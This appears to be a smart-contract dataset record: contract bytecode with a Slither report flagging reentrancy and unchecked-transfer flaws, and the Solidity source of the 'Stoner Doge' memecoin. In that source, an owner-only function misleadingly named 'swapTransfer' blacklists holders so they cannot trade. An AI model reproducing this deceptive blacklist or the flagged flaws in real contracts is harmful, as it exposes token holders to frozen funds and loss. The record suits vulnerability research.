060005260406000206000915090505481565b600080600090506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611985576119826002611974600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426122ee90919063ffffffff16565b6125ca90919063ffffffff16565b90505b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611a1b612710611a0d6203f4806119ff876119f16103e88961259b90919063ffffffff16565b61259b90919063ffffffff16565b6125ca90919063ffffffff16565b6125ca90919063ffffffff16565b9050809350505050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611afd57611afa6002611aec600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426122ee90919063ffffffff16565b6125ca90919063ffffffff16565b90505b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611b93612710611b856203f480611b7787611b696103e88961259b90919063ffffffff16565b61259b90919063ffffffff16565b6125ca90919063ffffffff16565b6125ca90919063ffffffff16565b90506000611bac600154836125ca90919063ffffffff16565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bf4573d6000803e3d6000fd5b5042600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b6000611c558260046125e390919063ffffffff16565b611c625760009050611da9565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611cb35760009050611da9565b6000611d07600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426122ee90919063ffffffff16565b90506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611da0612710611d926301e13380611d8487611d76611f408961259b90919063ffffffff16565b61259b90919063ffffffff16565b6125ca90919063ffffffff16565b6125ca90919063ffffffff16565b90508093505050505b919050565b734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d81565b60008111611e3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611edf57600080fd5b505af1158015611ef3573d6000803e3d6000fd5b505050506040513d6020811015611f0957600080fd5b8101908080519060200190929190505050611f8c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611f9533612305565b611f9e336126a4565b611ff081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120488160035461265890919063ffffffff16565b6003819055506120623360046125e390919063ffffffff16565b6120c05761207a33600461267490919063ffffffff16565b5042600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600b6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461213357600080fd5b8060018190555050565b61214633612305565b565b6301e1338081565b60066020528060005260406000206000915090505481565b6103e881565b60035481565b60015481565b565b60025481565b60fa81565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121df57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561221957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915090505481565b6000828211156122fa57fe5b818303905092915050565b600061231082611c3f565b9050600081111561255357734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156123a057600080fd5b505af11580156123b4573d6000803e3d6000fd5b505050506040513d60208110156123ca57600080fd5b810190808051906020019092919050505061244d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61249f81600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f78160025461265890919063ffffffff16565b6002819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600080828402905060008414806125ba5750828482816125b757fe5b04145b6125c057fe5b8091505092915050565b6000808284816125d657fe5b0490508091505092915050565b600061260b836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6126eb565b905092915050565b600061263b836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61270e565b905092915050565b6000612651826000016127f6565b9050919050565b60008082840190508381101561266a57fe5b8091505092915050565b600061269c836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612807565b905092915050565b42600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600080836001016000848152602001908152602001600020541415905092915050565b600080836001016000848152602001908152602001600020549050600081146127ea576000600182039050600060018660000180549050039050600086600001828154811061275957fe5b906000526020600020015490508087600001848154811061277657fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806127ae57fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506127f0565b60009150505b92915050565b600081600001805490509050919050565b600061281383836126eb565b61286c578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612871565b600090505b9291505056fea26469706673582212204eaa97c65eedfc92e6fd953cd98e609b17e1a9820f277366b49b3369d4262a4964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,560 |
0xa0114eec2bc0f2f4990a9e4c29990de02c4816e7
|
//SPDX-License-Identifier: MIT
/**
Stoner Doge is a brand-new memecoin aimed at contributing to various Cannabis Charities and Foundations around the World
Holders vote monthly on communities and charities that could use extra support and our team uses funds generated through buy and sell taxes to support these donations
50% of all fees will be donated to various community decided Cannabis Charities and Organizations!
Visit our website at www.stonerdoge.org to learn more about our mission and the movement we are pioneering! Let's take Stoner Doge to the Moon!
Join the Movement and Discussion on Telegram at t.me/stonerdoge
**/
pragma solidity ^0.8.12;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract StonerDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = 420000000000 * 10**8;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
uint256 private _maxWallet;
string private constant _name = "Stoner Doge";
string private constant _symbol = "STOGE";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier swapFunc {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 4;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(100);
_maxWallet=_tTotal.div(50);
_balance[address(this)] = _tTotal;
emit Transfer(address(0x0), address(this), _tTotal);
}
function maxTxAmount() public view returns (uint256){
return _maxTxAmount;
}
function maxWallet() public view returns (uint256){
return _maxWallet;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to], "This account is blacklisted");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
require(_canTrade,"Trading not started");
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 1000000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private swapFunc {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function setMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
}
function enableTrading() external onlyOwner{
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function setMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
receive() external payable {}
function swapTransfer(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
function unswapTransfer(address notbot) public onlyOwner {
bots[notbot] = false;
}
function manualsend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
|
0x6080604052600436106101395760003560e01c80638a8c523c116100ab578063a9059cbb1161006f578063a9059cbb146103d5578063bc33718214610412578063bfd792841461043b578063dd62ed3e14610478578063e8078d94146104b5578063f8b45b05146104cc57610140565b80638a8c523c146103265780638c0b5e221461033d5780638da5cb5b1461036857806395d89b41146103935780639e78fb4f146103be57610140565b806323b872dd116100fd57806323b872dd1461022a578063313ce567146102675780635d0044ca146102925780636fc3eaec146102bb57806370a08231146102d2578063715018a61461030f57610140565b80630268790e1461014557806306fdde031461016e578063095ea7b3146101995780630ab6e052146101d657806318160ddd146101ff57610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c600480360381019061016791906123a8565b6104f7565b005b34801561017a57600080fd5b50610183610621565b6040516101909190612479565b60405180910390f35b3480156101a557600080fd5b506101c060048036038101906101bb91906124d1565b61065e565b6040516101cd919061252c565b60405180910390f35b3480156101e257600080fd5b506101fd60048036038101906101f89190612547565b61067c565b005b34801561020b57600080fd5b5061021461076c565b6040516102219190612583565b60405180910390f35b34801561023657600080fd5b50610251600480360381019061024c919061259e565b610776565b60405161025e919061252c565b60405180910390f35b34801561027357600080fd5b5061027c61084f565b604051610289919061260d565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190612628565b610858565b005b3480156102c757600080fd5b506102d0610905565b005b3480156102de57600080fd5b506102f960048036038101906102f49190612547565b610916565b6040516103069190612583565b60405180910390f35b34801561031b57600080fd5b5061032461095f565b005b34801561033257600080fd5b5061033b610ab2565b005b34801561034957600080fd5b50610352610b64565b60405161035f9190612583565b60405180910390f35b34801561037457600080fd5b5061037d610b6e565b60405161038a9190612664565b60405180910390f35b34801561039f57600080fd5b506103a8610b97565b6040516103b59190612479565b60405180910390f35b3480156103ca57600080fd5b506103d3610bd4565b005b3480156103e157600080fd5b506103fc60048036038101906103f791906124d1565b610fab565b604051610409919061252c565b60405180910390f35b34801561041e57600080fd5b5061043960048036038101906104349190612628565b610fc9565b005b34801561044757600080fd5b50610462600480360381019061045d9190612547565b611076565b60405161046f919061252c565b60405180910390f35b34801561048457600080fd5b5061049f600480360381019061049a919061267f565b611096565b6040516104ac9190612583565b60405180910390f35b3480156104c157600080fd5b506104ca61111d565b005b3480156104d857600080fd5b506104e161128b565b6040516104ee9190612583565b60405180910390f35b6104ff6112df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105839061270b565b60405180910390fd5b60005b815181101561061d576001600560008484815181106105b1576105b061272b565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061061590612789565b91505061058f565b5050565b60606040518060400160405280600b81526020017f53746f6e657220446f6765000000000000000000000000000000000000000000815250905090565b600061067261066b6112df565b84846112e7565b6001905092915050565b6106846112df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610711576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107089061270b565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600654905090565b60006107838484846114b0565b6108448461078f6112df565b61083f8560405180606001604052806028815260200161321d60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f56112df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa29092919063ffffffff16565b6112e7565b600190509392505050565b60006008905090565b6108606112df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e49061270b565b60405180910390fd5b600a5481116108fb57600080fd5b80600a8190555050565b600047905061091381611b06565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109676112df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109eb9061270b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610aba6112df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e9061270b565b60405180910390fd5b6001600c60146101000a81548160ff021916908315150217905550565b6000600954905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f53544f4745000000000000000000000000000000000000000000000000000000815250905090565b610bdc6112df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c609061270b565b60405180910390fd5b600c60149054906101000a900460ff1615610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb09061281d565b60405180910390fd5b610ce830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546112e7565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d799190612852565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e269190612852565b6040518363ffffffff1660e01b8152600401610e4392919061287f565b6020604051808303816000875af1158015610e62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e869190612852565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f659291906128a8565b6020604051808303816000875af1158015610f84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa891906128fd565b50565b6000610fbf610fb86112df565b84846114b0565b6001905092915050565b610fd16112df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461105e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110559061270b565b60405180910390fd5b600954811161106c57600080fd5b8060098190555050565b60056020528060005260406000206000915054906101000a900460ff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111256112df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a99061270b565b60405180910390fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111fb30610916565b600080611206610b6e565b426040518863ffffffff1660e01b81526004016112289695949392919061296f565b60606040518083038185885af1158015611246573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061126b91906129e5565b5050506001600c60166101000a81548160ff021916908315150217905550565b6000600a54905090565b60006112d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b72565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611356576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134d90612aaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bc90612b3c565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114a39190612583565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361151f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151690612bce565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361158e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158590612c60565b60405180910390fd5b600081116115d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c890612cf2565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116755750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ab90612d5e565b60405180910390fd5b6116bc610b6e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172a57506116fa610b6e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119e257600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117da5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118305750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119225760095481111561187a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187190612dca565b60405180910390fd5b600c60149054906101000a900460ff166118c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c090612e36565b60405180910390fd5b600a54816118d684610916565b6118e09190612e56565b1115611921576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191890612ef8565b60405180910390fd5b5b600061192d30610916565b9050600c60159054906101000a900460ff1615801561199a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119b25750600c60169054906101000a900460ff165b156119e0576119c081611bd5565b6000479050670de0b6b3a764000081106119de576119dd47611b06565b5b505b505b611a9d838383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a895750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611a9557600754611a98565b60005b611e4e565b505050565b6000838311158290611aea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae19190612479565b60405180910390fd5b5060008385611af99190612f18565b9050809150509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b6e573d6000803e3d6000fd5b5050565b60008083118290611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb09190612479565b60405180910390fd5b5060008385611bc89190612f7b565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c0d57611c0c612207565b5b604051908082528060200260200182016040528015611c3b5781602001602082028036833780820191505090505b5090503081600081518110611c5357611c5261272b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d1e9190612852565b81600181518110611d3257611d3161272b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112e7565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfd95949392919061306a565b600060405180830381600087803b158015611e1757600080fd5b505af1158015611e2b573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b6000611e766064611e6884866120bb90919063ffffffff16565b61129590919063ffffffff16565b90506000611e8d828561213590919063ffffffff16565b9050611ee184600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213590919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611